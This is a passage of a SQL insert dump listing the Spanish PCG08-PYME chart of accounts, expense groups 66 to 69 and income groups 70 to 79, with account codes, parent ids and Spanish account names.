11:17:49','PCG08-PYME','EXPENSE','6673',4591,'Pérdidas de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4596,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6675',4591,'Pérdidas de créditos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4597,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6676',4591,'Pérdidas de créditos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4598,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6677',4591,'Pérdidas de créditos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4599,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6678',4591,'Pérdidas de créditos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4600,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','668',4550,'Diferencias negativas de cambio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4601,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','669',4550,'Otros gastos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4602,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','67',4006,'Pérdidas procedentes de activos no corrientes y gastos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4603,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','670',4602,'Pérdidas procedentes del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4604,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','671',4602,'Pérdidas procedentes del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4605,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','672',4602,'Pérdidas procedentes de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4607,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','673',4602,'Pérdidas procedentes de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4608,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6733',4607,'Pérdidas procedentes de participaciones a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4609,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6734',4607,'Pérdidas procedentes de participaciones a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4610,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6735',4607,'Pérdidas procedentes de participaciones a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4611,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','675',4602,'Pérdidas por operaciones con obligaciones propias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4612,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','678',4602,'Gastos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4613,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','68',4006,'Dotaciones para amortizaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4614,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','680',4613,'Amortización del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4615,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','681',4613,'Amortización del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4616,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','682',4613,'Amortización de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4617,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','69',4006,'Pérdidas por deterioro y otras dotaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4618,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','690',4617,'Pérdidas por deterioro del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4619,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','691',4617,'Pérdidas por deterioro del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4620,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','692',4617,'Pérdidas por deterioro de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4621,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','693',4617,'Pérdidas por deterioro de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4622,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6930',4621,'Pérdidas por deterioro de productos terminados y en curso de fabricación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4623,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6931',4621,'Pérdidas por deterioro de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4624,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6932',4621,'Pérdidas por deterioro de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4625,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6933',4621,'Pérdidas por deterioro de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4626,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','694',4617,'Pérdidas por deterioro de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4627,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','695',4617,'Dotación a la provisión por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4628,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6954',4627,'Dotación a la provisión por contratos onerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4629,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6959',4628,'Dotación a la provisión para otras operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4630,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','696',4617,'Pérdidas por deterioro de participaciones y valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4631,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6960',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4632,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6961',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4633,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6962',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4634,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6963',4630,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4635,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6965',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4636,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6966',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4637,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6967',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4638,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6968',4630,'Pérdidas por deterioro en valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4639,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','697',4617,'Pérdidas por deterioro de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4640,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6970',4639,'Pérdidas por deterioro de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4641,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6971',4639,'Pérdidas por deterioro de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4642,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6972',4639,'Pérdidas por deterioro de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4643,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6973',4639,'Pérdidas por deterioro de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4644,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','698',4617,'Pérdidas por deterioro de participaciones y valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4645,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6980',4644,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4646,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6981',4644,'Pérdidas por deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4647,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6985',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4648,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6986',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4649,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6988',4644,'Pérdidas por deterioro en valores representativos de deuda a corto plazo de otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4650,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','699',4617,'Pérdidas por deterioro de crédito a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4651,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6990',4650,'Pérdidas por deterioro de crédito a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4652,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6991',4650,'Pérdidas por deterioro de crédito a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4653,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6992',4650,'Pérdidas por deterioro de crédito a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4654,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6993',4650,'Pérdidas por deterioro de crédito a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4655,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','70',4007,'Ventas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4656,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','700',4655,'Ventas de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4657,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','701',4655,'Ventas de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4658,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','702',4655,'Ventas de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4659,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','703',4655,'Ventas de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4660,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','704',4655,'Ventas de envases y embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4661,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','705',4655,'Prestaciones de servicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4662,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','706',4655,'Descuentos sobre ventas por pronto pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4663,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7060',4662,'Descuentos sobre ventas por pronto pago de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4664,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7061',4662,'Descuentos sobre ventas por pronto pago de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4665,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7062',4662,'Descuentos sobre ventas por pronto pago de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4666,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7063',4662,'Descuentos sobre ventas por pronto pago de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4667,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','708',4655,'Devoluciones de ventas y operacioes similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4668,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7080',4667,'Devoluciones de ventas de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4669,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7081',4667,'Devoluciones de ventas de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4670,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7082',4667,'Devoluciones de ventas de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4671,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7083',4667,'Devoluciones de ventas de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4672,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7084',4667,'Devoluciones de ventas de envases y embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4673,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','71',4007,'Variación de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4674,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','710',4673,'Variación de existencias de productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4675,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','711',4673,'Variación de existencias de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4676,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','712',4673,'Variación de existencias de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4677,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','713',4673,'Variación de existencias de subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4678,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','73',4007,'Trabajos realizados para la empresa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4679,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','730',4678,'Trabajos realizados para el inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4680,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','731',4678,'Trabajos realizados para el inmovilizado tangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4681,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','732',4678,'Trabajos realizados en inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4682,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','733',4678,'Trabajos realizados para el inmovilizado material en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4683,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','74',4007,'Subvenciones, donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4684,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','740',4683,'Subvenciones, donaciones y legados a la explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4685,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','746',4683,'Subvenciones, donaciones y legados de capital transferidos al resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4686,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','747',4683,'Otras subvenciones, donaciones y legados transferidos al resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4687,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','75',4007,'Otros ingresos de gestión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4688,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','751',4687,'Resultados de operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4689,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7510',4688,'Pérdida transferida gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4690,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7511',4688,'Beneficio atribuido participe o asociado no gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4691,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','752',4687,'Ingreso por arrendamiento',NULL,0,NULL,NULL,1,0,NULL,NULL),(4692,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','753',4687,'Ingresos de propiedad industrial cedida en explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4693,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','754',4687,'Ingresos por comisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4694,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','755',4687,'Ingresos por servicios al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4695,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','759',4687,'Ingresos por servicios diversos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4696,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76',4007,'Ingresos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4697,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','760',4696,'Ingresos de participaciones en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4698,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7600',4697,'Ingresos de participaciones en instrumentos de patrimonio empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4699,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7601',4697,'Ingresos de participaciones en instrumentos de patrimonio empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4700,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7602',4697,'Ingresos de participaciones en instrumentos de patrimonio otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4701,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7603',4697,'Ingresos de participaciones en instrumentos de patrimonio otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4702,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','761',4696,'Ingresos de valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4703,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7610',4702,'Ingresos de valores representativos de deuda empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4704,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7611',4702,'Ingresos de valores representativos de deuda empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4705,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7612',4702,'Ingresos de valores representativos de deuda otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4706,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7613',4702,'Ingresos de valores representativos de deuda otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4707,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','762',4696,'Ingresos de créditos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4708,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7620',4707,'Ingresos de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4709,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76200',4708,'Ingresos de crédito a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4710,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76201',4708,'Ingresos de crédito a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4711,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76202',4708,'Ingresos de crédito a largo plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4712,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76203',4708,'Ingresos de crédito a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4713,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7621',4707,'Ingresos de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4714,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76210',4713,'Ingresos de crédito a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4715,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76211',4713,'Ingresos de crédito a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4716,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76212',4713,'Ingresos de crédito a corto plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4717,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76213',4713,'Ingresos de crédito a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4718,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','763',4696,'Beneficios por valorización de activos y pasivos financieros por su valor razonable',NULL,0,NULL,NULL,1,0,NULL,NULL),(4719,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','766',4696,'Beneficios en participaciones y valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4720,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7660',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4721,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7661',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4722,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7662',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4723,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7663',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4724,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7665',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4725,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7666',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4726,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7667',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4727,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7668',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4728,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','768',4696,'Diferencias positivas de cambio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4729,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','769',4696,'Otros ingresos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4730,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','77',4007,'Beneficios procedentes de activos no corrientes e ingresos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4731,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','770',4730,'Beneficios procedentes del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4732,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','771',4730,'Beneficios procedentes del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4733,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','772',4730,'Beneficios procedentes de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4734,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','773',4730,'Beneficios procedentes de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4735,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7733',4734,'Beneficios procedentes de participaciones a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4736,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7734',4734,'Beneficios procedentes de participaciones a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4737,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7735',4734,'Beneficios procedentes de participaciones a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4738,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','775',4730,'Beneficios por operaciones con obligaciones propias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4739,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','778',4730,'Ingresos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4741,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79',4007,'Excesos y aplicaciones de provisiones y pérdidas por deterioro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4742,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','790',4741,'Revisión del deterioro del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4743,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','791',4741,'Revisión del deterioro del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4744,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','792',4741,'Revisión del deterioro de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4745,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','793',4741,'Revisión del deterioro de las existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4746,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7930',4745,'Revisión del deterioro de productos terminados y en curso de fabricación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4747,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7931',4745,'Revisión del deterioro de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4748,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7932',4745,'Revisión del deterioro de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4749,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7933',4745,'Revisión del deterioro de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4750,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','794',4741,'Revisión del deterioro de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4751,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','795',4741,'Exceso de provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4752,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7951',4751,'Exceso de provisión para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4753,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7952',4751,'Exceso de provisión para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4755,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7954',4751,'Exceso de provisión para operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4756,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79544',4755,'Exceso de provisión por contratos onerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4757,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79549',4755,'Exceso de provisión para otras operaciones 